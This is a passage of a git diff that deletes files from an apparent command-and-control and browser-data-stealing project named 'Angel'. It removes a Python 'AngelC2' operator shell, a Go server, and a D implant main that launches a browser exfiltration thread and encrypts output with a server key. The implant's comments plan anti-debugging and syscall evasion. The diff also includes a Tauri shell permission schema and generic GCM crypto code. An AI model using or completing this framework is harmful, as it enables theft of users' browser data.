"core:window:deny-set-ignore-cursor-events" - }, - { - "description": "Denies the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-max-size" - }, - { - "description": "Denies the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-maximizable" - }, - { - "description": "Denies the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-min-size" - }, - { - "description": "Denies the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-minimizable" - }, - { - "description": "Denies the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-position" - }, - { - "description": "Denies the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-progress-bar" - }, - { - "description": "Denies the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-resizable" - }, - { - "description": "Denies the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-shadow" - }, - { - "description": "Denies the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size" - }, - { - "description": "Denies the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size-constraints" - }, - { - "description": "Denies the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-skip-taskbar" - }, - { - "description": "Denies the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-theme" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title" - }, - { - "description": "Denies the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title-bar-style" - }, - { - "description": "Denies the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-visible-on-all-workspaces" - }, - { - "description": "Denies the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-show" - }, - { - "description": "Denies the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-dragging" - }, - { - "description": "Denies the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-resize-dragging" - }, - { - "description": "Denies the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-theme" - }, - { - "description": "Denies the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-title" - }, - { - "description": "Denies the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-toggle-maximize" - }, - { - "description": "Denies the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unmaximize" - }, - { - "description": "Denies the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unminimize" - }, - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - }, - "Value": { - "description": "All supported ACL values.", - "anyOf": [ - { - "description": "Represents a null JSON value.", - "type": "null" - }, - { - "description": "Represents a [`bool`].", - "type": "boolean" - }, - { - "description": "Represents a valid ACL [`Number`].", - "allOf": [ - { - "$ref": "#/definitions/Number" - } - ] - }, - { - "description": "Represents a [`String`].", - "type": "string" - }, - { - "description": "Represents a list of other [`Value`]s.", - "type": "array", - "items": { - "$ref": "#/definitions/Value" - } - }, - { - "description": "Represents a map of [`String`] keys to [`Value`]s.", - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/Value" - } - } - ] - }, - "Number": { - "description": "A valid ACL number.", - "anyOf": [ - { - "description": "Represents an [`i64`].", - "type": "integer", - "format": "int64" - }, - { - "description": "Represents a [`f64`].", - "type": "number", - "format": "double" - } - ] - }, - "Target": { - "description": "Platform target.", - "oneOf": [ - { - "description": "MacOS.", - "type": "string", - "enum": [ - "macOS" - ] - }, - { - "description": "Windows.", - "type": "string", - "enum": [ - "windows" - ] - }, - { - "description": "Linux.", - "type": "string", - "enum": [ - "linux" - ] - }, - { - "description": "Android.", - "type": "string", - "enum": [ - "android" - ] - }, - { - "description": "iOS.", - "type": "string", - "enum": [ - "iOS" - ] - } - ] - }, - "ShellScopeEntryAllowedArg": { - "description": "A command argument allowed to be executed by the webview API.", - "anyOf": [ - { - "description": "A non-configurable argument that is passed to the command in the order it was specified.", - "type": "string" - }, - { - "description": "A variable that is set while calling the command from the webview API.", - "type": "object", - "required": [ - "validator" - ], - "properties": { - "raw": { - "description": "Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.", - "default": false, - "type": "boolean" - }, - "validator": { - "description": "[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]: ", - "type": "string" - } - }, - "additionalProperties": false - } - ] - }, - "ShellScopeEntryAllowedArgs": { - "description": "A set of command arguments allowed to be executed by the webview API.\n\nA value of `true` will allow any arguments to be passed to the command. `false` will disable all arguments. A list of [`ShellScopeEntryAllowedArg`] will set those arguments as the only valid arguments to be passed to the attached command configuration.", - "anyOf": [ - { - "description": "Use a simple boolean to allow all or disable all arguments to this command configuration.", - "type": "boolean" - }, - { - "description": "A specific set of [`ShellScopeEntryAllowedArg`] that are valid to call for the command configuration.", - "type": "array", - "items": { - "$ref": "#/definitions/ShellScopeEntryAllowedArg" - } - } - ] - } - } -} \ No newline at end of file diff --git a/linux_core.d b/linux_core.d deleted file mode 100644 index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 ScmZQz7zLvtFd70QH3R?z00031 diff --git a/logger.py b/logger.py deleted file mode 100644 index 69a6ab9..0000000 --- a/logger.py +++ /dev/null @@ -1,18 +0,0 @@ -import logging - -log = logging.getLogger(__name__) - - -class Logger: - def __init__(self): - logging.basicConfig( - format="%(levelname)s:%(asctime)s - %(message)s", - datefmt="%m/%d/%Y %I:%M:%S %p", - ) - log.setLevel(logging.INFO) - form = logging.Formatter( - "%(levelname)s:%(asctime)s - %(message)s", datefmt="%m/%d/%Y %I:%M:%S %p" - ) - file_handler = logging.FileHandler("angel.log") - file_handler.setFormatter(form) - log.addHandler(file_handler) diff --git a/logging.d b/logging.d deleted file mode 100644 index ef1c711..0000000 --- a/logging.d +++ /dev/null @@ -1,58 +0,0 @@ -module angel.utils.logging; - -// Internal imports -import angel.config : config; -import angel.utils.constants; -// External imports -import std.stdio; -import std.datetime; -import std.file; -import std.format; -import std.string; - -enum LogLevel { - Debug, - Event, - Warning, - Error -} - -class Logger { - private static string getTimestamp() { - auto now = Clock.currTime(); - return format!"%04d-%02d-%02d %02d:%02d:%02d"( - now.year, now.month, now.day, - now.hour, now.minute, now.second - ); - } - - private static string getLogSymbol(LogLevel level) { - switch (level) { - case LogLevel.Debug: return "[*]"; - case LogLevel.Event: return "[i]"; - case LogLevel.Warning: return "[!]"; - case LogLevel.Error: return "[E]"; - default: return "[?]"; - } - } - - private static void writeToFile(string message) { - auto file = File(Constants.logFilePath, "a"); - file.write(message ~ "\n"); - file.close(); - } - - public static void log(LogLevel level, string message) { - auto timestamp = getTimestamp(); - auto symbol = getLogSymbol(level); - - auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message; - - writeToFile(logMessage); - if (level == LogLevel.Debug && !config.debug_mode) { - return; - } else { - writeln(logMessage); - } - } -} diff --git a/logging.go b/logging.go deleted file mode 100644 index aba4390..0000000 --- a/logging.go +++ /dev/null @@ -1,69 +0,0 @@ -package logging - -import ( - "context" - "log/slog" - "os" -) - -var Logger *slog.Logger - -type MultiHandler struct { - handlers []slog.Handler -} - -func (m *MultiHandler) Enabled(ctx context.Context, level slog.Level) bool { - for _, h := range m.handlers { - if h.Enabled(ctx, level) { - return true - } - } - return false -} - -func (m *MultiHandler) Handle(ctx context.Context, record slog.Record) error { - for _, h := range m.handlers { - _ = h.Handle(ctx, record) - } - return nil -} - -func (m *MultiHandler) WithAttrs(attrs []slog.Attr) slog.Handler { - newHandlers := make([]slog.Handler, len(m.handlers)) - for i, h := range m.handlers { - newHandlers[i] = h.WithAttrs(attrs) - } - return &MultiHandler{handlers: newHandlers} -} - -func (m *MultiHandler) WithGroup(name string) slog.Handler { - newHandlers := make([]slog.Handler, len(m.handlers)) - for i, h := range m.handlers { - newHandlers[i] = h.WithGroup(name) - } - return &MultiHandler{handlers: newHandlers} -} - -func InitLogger() { - logFile, err := os.OpenFile("../angel_api-server.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) - if err != nil { - slog.Default().Error("Error opening log file", "error", err) - return - } - - fileHandler := slog.NewJSONHandler(logFile, &slog.HandlerOptions{Level: slog.LevelDebug}) - consoleHandler := slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}) - - multiHandler := &MultiHandler{handlers: []slog.Handler{fileHandler, consoleHandler}} - - Logger = slog.New(multiHandler) - - slog.SetDefault(Logger) -} - -func GetLogger() *slog.Logger { - if Logger == nil { - InitLogger() - } - return Logger -} diff --git a/main.d b/main.d deleted file mode 100644 index a1fe432..0000000 --- a/main.d +++ /dev/null @@ -1,158 +0,0 @@ -module angel.main; - -// Internal imports -import angel.utils.logging; -import angel.utils.constants; -import angel.utils.clean; -import angel.exfil.browser.browser; -import angel.utils.init; -//import angel.utils.cryptography.threefish; -//import angel.utils.cryptography.aes; -import angel.utils.cryptography.serpent; -import angel.utils.cryptography.cryptography; -import angel.utils.cryptography.gcm.gcm; -import angel.utils.cryptography.aes; -import angel.utils.cryptography.threefish; -import angel.config : config; -//import angel.conn.vnc.vnc; -// External imports -import std.stdio; -import std.conv : to; -import core.thread.osthread; -import std.format; - -// TODO optimize imports (only neccessary) -// TODO mutex check + execution timer -// TODO anti dbg -// TODO error handler ?? use auto, receive -> check for data, if none print result (err) -// TODO veh/vectored syscalls in suspended thread - -alias ConstructorDelegate = void function(); - -int main() { - init(); - - Logger.log(LogLevel.Event, "Initialized."); - - // can place args inside of browser init and define in this - ConstructorDelegate[] constructors = [ - () => new Browser().run, - ]; - - Thread[] threads; - - foreach (co; constructors) { - auto t = new Thread(() => co()); - threads ~= t; - Logger.log(LogLevel.Event, "Running thread..."); - t.start(); - continue; - } - - foreach (t; threads) { - joinLowLevelThread(t.id); - } - - clean(); - - Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); // shared secret, encrypt master key (threefish512) with it - - // TODO generate threefish512 key - // TODO serpent-256 encrypt the threefish key with shared secret - // TODO add pkcs5/7 padding for serpent, also port C implementation of galois 256bit to Dlang - - // BUG fix padder, fills in the missing bytes of last encrypted/decrypted chunk with random placeholder chars - // BUG add correct template/tests aes, aead, galois -> follow struct evenly (same implementation) - // TODO might port some shitty C aes256 galois implementation - - Serpent serp; - - auto key = cast(ubyte[])keypair.sharedSecret.dup; - - serp.start(key); - - ubyte[] input = cast(ubyte[])"Hello, World! meow meow meow LOLOLOL hi!!!!!".dup; - ubyte padding = cast(ubyte)(16 - (input.length % 16)); - ubyte[] output = new ubyte[input.length + padding]; - serp.encrypt(input, output); - - Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output)); - - ubyte[] decrypted = new ubyte[output.length]; - - serp.decrypt(output, decrypted); - - Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", decrypted)); - - serp.reset(); - - - - - ubyte[32] key2; - ubyte[12] iv; - - key2[] = cast(ubyte[])"12345678901234567890123456789012"; - iv[] = cast(ubyte[])"123456789012"; - - AES aes = AES(key2); - - GCM!AES gcm = GCM!AES(aes); - - gcm.start(key2, iv); - ubyte[] encryptedData = new ubyte[input.length]; - gcm.encrypt(input, encryptedData); - ubyte[16] tag; - gcm.finish(tag, encryptedData); - - Logger.log(LogLevel.Debug, format("AES Encrypted data: %s", encryptedData)); - - GCM!AES gcmDecrypt = GCM!AES(aes); - gcmDecrypt.start(key2, iv); - ubyte[] decryptedData = new ubyte[encryptedData.length]; - gcmDecrypt.decrypt(encryptedData, decryptedData); - ubyte[16] tagVerify; - gcmDecrypt.finish(tagVerify, decryptedData); - - Logger.log(LogLevel.Debug, format("AES Decrypted data: %s", decryptedData)); - - - - auto kiii = Threefish512.generateKey(); - auto tweaki = Threefish512.generateTweak(); - - Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii)); - Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki)); - - Threefish512 cipher = new Threefish512(); - cipher.setup(kiii, tweaki); - string text = "meow!"; - ulong[8] plain; - plain[] = 0; - - foreach (i, c; text) - { - plain[i / 8] |= cast(ulong)c << ((i % 8) * 8); - } - - auto encrypted_three = cipher.crypt(plain); - Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_three)); - - auto decrypted_three = cipher.decrypt(encrypted_three); - Logger.log(LogLevel.Debug, format("Threefish Decrypted ulong array: %s", decrypted_three)); - - char[] decrypted_text; - foreach (ulong val; decrypted_three) { - for (int i = 0; i < 8; i++) { - char c = cast(char)((val >> (i * 8)) & 0xFF); - if (c != '\0') { - decrypted_text ~= c; - } - } - } - - Logger.log(LogLevel.Debug, format("Threefish Decrypted Text: %s", decrypted_text)); - - - return 0; -} \ No newline at end of file diff --git a/main.go b/main.go deleted file mode 100644 index 142a730..0000000 --- a/main.go +++ /dev/null @@ -1,13 +0,0 @@ -package main - -import ( - "angel_server/conn" - "angel_server/extra" - "angel_server/logging" -) - -func main() { - logging.InitLogger() - extra.Init() - conn.Start_serv() -} \ No newline at end of file diff --git a/main.py b/main.py deleted file mode 100644 index b36ef5e..0000000 --- a/main.py +++ /dev/null @@ -1,24 +0,0 @@ -import base64 - -from utils.logger import * -from utils.conn import * -from utils.mod import * -from constants import * - -__name__ = "AngelC2" -__version__ = "0.1.0" -__authors__ = "hk21" - - -class Angel: - def __init__(self): - Logger() - Utils.clear_shell() - print(Consts.banner) - - log.info("welc to angel net shell, fellow kitten!") - Conn() - - -if __name__ == base64.b64decode(b"QW5nZWxDMg==").decode("utf-8"): - Angel() diff --git a/main.rs b/main.rs deleted file mode 100644 index 17da460..0000000 --- a/main.rs +++ /dev/null @@ -1,5 +0,0 @@ -#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] - -fn main() { - angel_lib::run() -} diff --git a/main.tsx b/main.tsx deleted file mode 100644 index ba0c6c2..0000000 --- a/main.tsx +++ /dev/null @@ -1,14 +0,0 @@ -import React from "react"; -import ReactDOM from "react-dom/client"; -import App from "./App"; -import { Toaster } from "@/components/ui/toaster"; -import { SidebarProvider } from "@/components/ui/sidebar"; - -ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render( - - - - - - , -); diff --git a/maximize.svg b/maximize.svg deleted file mode 100644 index 2270fd3..0000000 --- a/maximize.svg +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - diff --git a/maximize_hover.svg b/maximize_hover.svg deleted file mode 100644 index cd21e92..0000000 --- a/maximize_hover.svg +++ /dev/null @@ -1,161 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - - - diff --git a/meow b/meow deleted file mode 100644 index 5eac780..0000000 --- a/meow +++ /dev/null @@ -1,2 +0,0 @@ -22ec46f9a0d1d2bce3ace74896657f22e4fec052 d57fac0bea9c8c07ef800db0be017c2f9043b7e7 unknown 1762455970 +0100 update by push -d57fac0bea9c8c07ef800db0be017c2f9043b7e7 8106a0c5225d60110aa917abfab92e3359975ea4 unknown 1762456022 +0100 update by push diff --git a/minimize.svg b/minimize.svg deleted file mode 100644 index d995af9..0000000 --- a/minimize.svg +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - diff --git a/minimize_hover.svg b/minimize_hover.svg deleted file mode 100644 index a5075e9..0000000 --- a/minimize_hover.svg +++ /dev/null @@ -1,165 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - - - - - diff --git a/mod.py b/mod.py deleted file mode 100644 index 78ca2af..0000000 --- a/mod.py +++ /dev/null @@ -1,11 +0,0 @@ -import os -from sys import platform - - -class Utils: - @staticmethod - def clear_shell(): - if platform == "win32": - os.system("cls") - else: - os.system("clear") diff --git a/multiplier.d b/multiplier.d deleted file mode 100644 index a4274aa..0000000 --- a/multiplier.d +++ /dev/null @@ -1,493 +0,0 @@ -module angel.utils.cryptography.gcm.multiplier; - -package: - -import angel.utils.cryptography.gcm.galoisfield; -import std.algorithm: swap; - -// TODO Dynamically make use of intel pclmulqdq instruction for fast multiplication. - -/// test if T is a GCM multiplier -@safe -template isGCMMultiplier(T) -{ - enum bool isGCMMultiplier = - is(T == struct) && - is(typeof( - { - ubyte[16] block; - T m = void; - m.init(block); - m.multiply(block); - })); -} - -/// This struct provides schoolbook multiplication in GF(2^128). -@safe -struct GCMBasicMultiplier -{ - - private { - ubyte[16] H; - } - - this(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - init(H); - } - - nothrow @nogc { - /** - * initialize the multiplicator - */ - void init(in ubyte[] H) - in { - assert(H.length == 16, "H: invalid length"); - } - body { - this.H[] = H[]; - } - - /// Multiply x by H and store result in x. - /// - /// Params: - /// x = 16 byte block - void multiply(ubyte[] x) - in { - assert(x.length == 16, "x: invalid length."); - } - body { - GF128.multiply(x, H); - } - } - - /// test multiplication using schoolbook multiplication - unittest { - - immutable ubyte[16] testH = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e"; - ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78"; - - GCMBasicMultiplier mult = GCMBasicMultiplier(testH); - - mult.multiply(X1); - - assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 8k table failed!"); - } - -} - -/// This struct provides table driven multiplication in GF(2^128). -@safe -struct GCMMultiplier8kTable -{ - - private { - ubyte[16][16][32] M; - } - - this(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - init(H); - } - - nothrow @nogc { - /** - * initialize the multiplicator - */ - void init(in ubyte[] H) { - tableSetup(H); - } - - /// Multiply x by H and store result in x. - /// - /// Params: - /// x = 16 byte block - void multiply(ubyte[] x) - in { - assert(x.length == 16, "x: invalid length."); - } - body { - - ubyte[16] z; - - for(uint i = 0; i < 16; ++i) { - z[] ^= M[2*i][x[i]>>4][]; - z[] ^= M[2*i+1][x[i]&0xF][]; - } - - x[] = z[]; - } - } - - /// test multiplication using 8k table - unittest { - - immutable ubyte[16] H = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e"; - ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78"; - - GCMMultiplier8kTable mult = GCMMultiplier8kTable(H); - - mult.multiply(X1); - - assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 8k table failed!"); - } - - private void tableSetup(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - ubyte[16] Pi; - Pi[0] = 0x80; - ubyte[1] oneByte; - for(int i = 0; i < 32; ++i) { - for(uint j = 0; j < 16; ++j) { - M[i][j] = H; - oneByte[0] = cast(ubyte) (j<<4); - GF128.multiply(M[i][j], oneByte); - GF128.multiply(M[i][j], Pi); - } - multiplyP4(Pi); - } - } - - private void multiplyP4(ubyte[] x) nothrow @nogc { - foreach(i;0..4){ - GF128.multiplyP(x); - } - } - -} - -/// This class provides table driven multiplication in GF(2^128). -/// The 64k table is rather large and probably won't fit into the cache. -/// Use the 8k table to avoid timing based leaks. -@safe -struct GCMMultiplier64kTable -{ - - private { - ubyte[16][256][16] M; - } - - this(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - init(H); - } - - nothrow @nogc { - - /// initialize the multiplicator - void init(in ubyte[] H) { - tableSetup(H); - } - - /// Multiply x by H and store result in x. - /// - /// Params: - /// x = 16 byte block - void multiply(ubyte[] x) - in { - assert(x.length == 16, "x: invalid length."); - } - body { - - ubyte[16] z; - - for(uint i = 0; i < 16; ++i) { - z[] ^= M[i][x[i]][]; - } - - x[] = z[]; - } - } - - /// test multiplication using 64k table - unittest { - immutable ubyte[16] H = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e"; - ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78"; - - GCMMultiplier64kTable mult = GCMMultiplier64kTable(H); - - mult.multiply(X1); - - assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 64k table failed!"); - } - - private void tableSetup(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - ubyte[16] P; - P[0] = 0x80; - ubyte[1] oneByte; - for(int i = 0; i < 16; ++i) { - for(uint j = 0; j <= 255; ++j) { - M[i][j] = H; - oneByte[0] = cast(ubyte) j; - GF128.multiply(M[i][j], oneByte); - GF128.multiply(M[i][j], P); - } - GF128.multiplyP8(P); - } - } - -} - - -/// This struct provides hardware accelerated multiplication in GF(2^128) -/// using the Intel PCLMULQDQ instruction. -/// -/// See: https://software.intel.com/sites/default/files/managed/72/cc/clmul-wp-rev-2.02-2014-04-20.pdf -@safe -struct GCMPCLMULQDQMultiplier -{ - - private { - ubyte[16] H; - } - - this(in ubyte[] H) nothrow @nogc - in { - assert(H.length == 16, "H: invalid length"); - } - body { - init(H); - } - - nothrow @nogc { - /** - * initialize the multiplicator - */ - void init(in ubyte[] H) - in { - assert(H.length == 16, "H: invalid length"); - } - body { - this.H[] = H[]; - } - - /// Multiply x by H and store result in x. - /// - /// Params: - /// x = 16 byte block - void multiply(ubyte[] x) - in { - assert(x.length == 16, "x: invalid length."); - } - body { - //GF128.multiply(x, H); - gfmul(x, H); - } - } - - /// Multiplies a with b, result is stored in a. - @trusted - private void gfmul(ubyte[] a, in ubyte[] b) nothrow @nogc - in { - assert(a.length == 16, "Invalid length of input. Must be 16 bytes."); - assert(b.length == 16, "Invalid length of input. Must be 16 bytes."); - } - body { - auto aLength = a.length; - foreach (i; 0 .. aLength / 2) { - swap(a[i], a[aLength - 1 - i]); - } - ubyte[16] revB = b; - foreach (i; 0 .. revB.length / 2) { - auto bLen = revB.length; - swap(revB[i], revB[bLen - 1 - i]); - } - - version(D_InlineAsm_X86_64) { - __vector(ubyte[16]) va = *cast(__vector(ubyte[16])*)a.ptr; - __vector(ubyte[16]) vb = *cast(__vector(ubyte[16])*)revB.ptr; - - __vector(ubyte[16]) r0 = __pclmulqdq(va, vb, 0x00); // a0 * b0 - __vector(ubyte[16]) r1 = __pclmulqdq(va, vb, 0x10); // a0 * b1 - __vector(ubyte[16]) r2 = __pclmulqdq(va, vb, 0x01); // a1 * b0 - __vector(ubyte[16]) r3 = __pclmulqdq(va, vb, 0x11); // a1 * b1 - - __vector(ubyte[16]) t1 = r1 ^ r2; - __vector(ubyte[16]) t2 = __shiftright(t1, 8); - __vector(ubyte[16]) t3 = __shiftleft(t1, 8); - __vector(ubyte[16]) t4 = r0 ^ t2; - __vector(ubyte[16]) t5 = r3 ^ t3; - - __vector(ubyte[16]) t6 = __shiftleft(t4, 1); - __vector(ubyte[16]) t7 = __shiftleft(t5, 1); - __vector(ubyte[16]) t8 = __shiftright(t4, 31); - __vector(ubyte[16]) t9 = __shiftright(t5, 31); - __vector(ubyte[16]) t10 = __shiftleft(t8, 4); - __vector(ubyte[16]) t11 = __shiftleft(t9, 4); - __vector(ubyte[16]) t12 = __shiftright(t8, 12); - __vector(ubyte[16]) t13 = t6 ^ t10; - __vector(ubyte[16]) t14 = t7 ^ t11; - __vector(ubyte[16]) t15 = t14 ^ t12; - - *cast(__vector(ubyte[16])*)a.ptr = t13 ^ t15; - } - - foreach (i; 0 .. a.length / 2) { - auto aLen = cast(int)a.length; - swap(a[i], a[aLen - 1 - i]); - } - } - - // test pclmulqdq instruction with multiplication by 1 - @trusted - unittest { - import core.cpuid; - version(D_InlineAsm_X86_64) { - if(aes) { - - ubyte[16] a = cast(const ubyte[16]) x"12345678000000000000000000000000"; - ubyte[16] b = cast(const ubyte[16]) x"01000000000000000000000000000000"; - ubyte[16] c; - - asm { - movdqu xmm1, [RBP + a]; - movdqu xmm3, [EBP + b]; - - db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x00; // pclmulqdq xmm3, xmm1, 0x00; // xmm3 holds a0*b0 - - movdqu [EBP + c], xmm3; - } - - assert(c == x"12345678000000000000000000000000"); - } - } - } - - /// test pclmulqdq instruction with test vectors from - /// https://software.intel.com/sites/default/files/managed/72/cc/clmul-wp-rev-2.02-2014-04-20.pdf - @trusted - unittest { - import core.cpuid; - - version(D_InlineAsm_X86_64) { - if(aes) { - - /// Python code to convert test vectors into little endian format. - /// Reverses the string by bytes (not by hexits): - /// - /// import binascii - /// def conv(xmmstr): - /// bytearr=bytearray.fromhex(xmmstr)[::-1] - /// return binascii.hexlify(bytearr) - /// - /// conv('7b5b54657374566563746f725d53475d') - /// conv('48692853686179295b477565726f6e5d') - /// conv('1d4d84c85c3440c0929633d5d36f0451') - /// - - ubyte[16] a = cast(const ubyte[16]) x"5d47535d726f74636556747365545b7b"; // xxm1 high: 7b5b546573745665 low: 63746f725d53475d - ubyte[16] b = cast(const ubyte[16]) x"5d6e6f726575475b2979616853286948"; // 4869285368617929 5b477565726f6e5d - ubyte[16] c; - - asm { - movdqu xmm1, [RBP + a]; - movdqu xmm3, [EBP + b]; - - db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x00; // pclmulqdq xmm3, xmm1, 0x00; // xmm3 holds a0*b0 - - movdqu [EBP + c], xmm3; - } - assert(c == x"51046fd3d5339692c040345cc8844d1d"); - - asm { - movdqu xmm1, [RBP + a]; - movdqu xmm3, [EBP + b]; - - db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x01; - - movdqu [EBP + c], xmm3; - } - assert(c == x"1513282aac40a57fa1b56a558d7cd11b"); - - asm { - movdqu xmm1, [RBP + a]; - movdqu xmm3, [EBP + b]; - - db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x10; - - movdqu [EBP + c], xmm3; - } - assert(c == x"c9d5b7f42d26bfba2f86303adbf62b1a"); - - asm { - movdqu xmm1, [RBP + a]; - movdqu xmm3, [EBP + b]; - - db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x11; - - movdqu [EBP + c], xmm3; - } - assert(c == x"edd40f413ee06ed6457c2e592c1f1e1d"); - } - } - } - - -// /// test hardware accelerated multiplication (pclmulqdq) -// unittest { -// -// immutable ubyte[16] H = cast(immutable ubyte[16]) x"00000000000000000000000000000080"; // neutral element -// ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78"; -// -// GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(H); -// -// mult.multiply(X1); -// -// assert(X1 == x"0388dace60b6a392f328c2b971b2fe78", "GF128 multiplication with pclmulqdq failed!"); -// } - - /// test hardware accelerated multiplication (pclmulqdq) - unittest { - - import std.algorithm: reverse; - - ubyte[16] testH = cast(immutable ubyte[16]) x"952b2a56a5604ac0b32b6656a05b40b6"; - ubyte[16] X1 = cast(immutable ubyte[16]) x"dfa6bf4ded81db03ffcaff95f830f061"; - - ubyte[16] expected = cast(immutable ubyte[16]) x"da53eb0ad2c55bb64fc4802cc3feda60"; - -// reverse(H[]); -// reverse(X1[]); -// reverse(expected[]); - - //GCMMultiplier8kTable mult = GCMMultiplier8kTable(H); - GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(testH); - - mult.multiply(X1); - - assert(X1 == expected, "GF128 multiplication with pclmulqdq failed!"); - } - -// /// test hardware accelerated multiplication (pclmulqdq) -// unittest { -// -// ulong[2] H = [0xb32b6656a05b40b6, 0x952b2a56a5604ac0]; -// ulong[2] X1 = [0xffcaff95f830f061, 0xdfa6bf4ded81db03]; -// -// ulong[2] expected = [0x4fc4802cc3feda60, 0xda53eb0ad2c55bb6]; -// -// //GCMMultiplier8kTable mult = GCMMultiplier8kTable(H); -// GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(cast(ubyte[16])H); -// -// mult.multiply(cast(ubyte[16])X1); -// -// assert(X1 == expected, "GF128 multiplication with 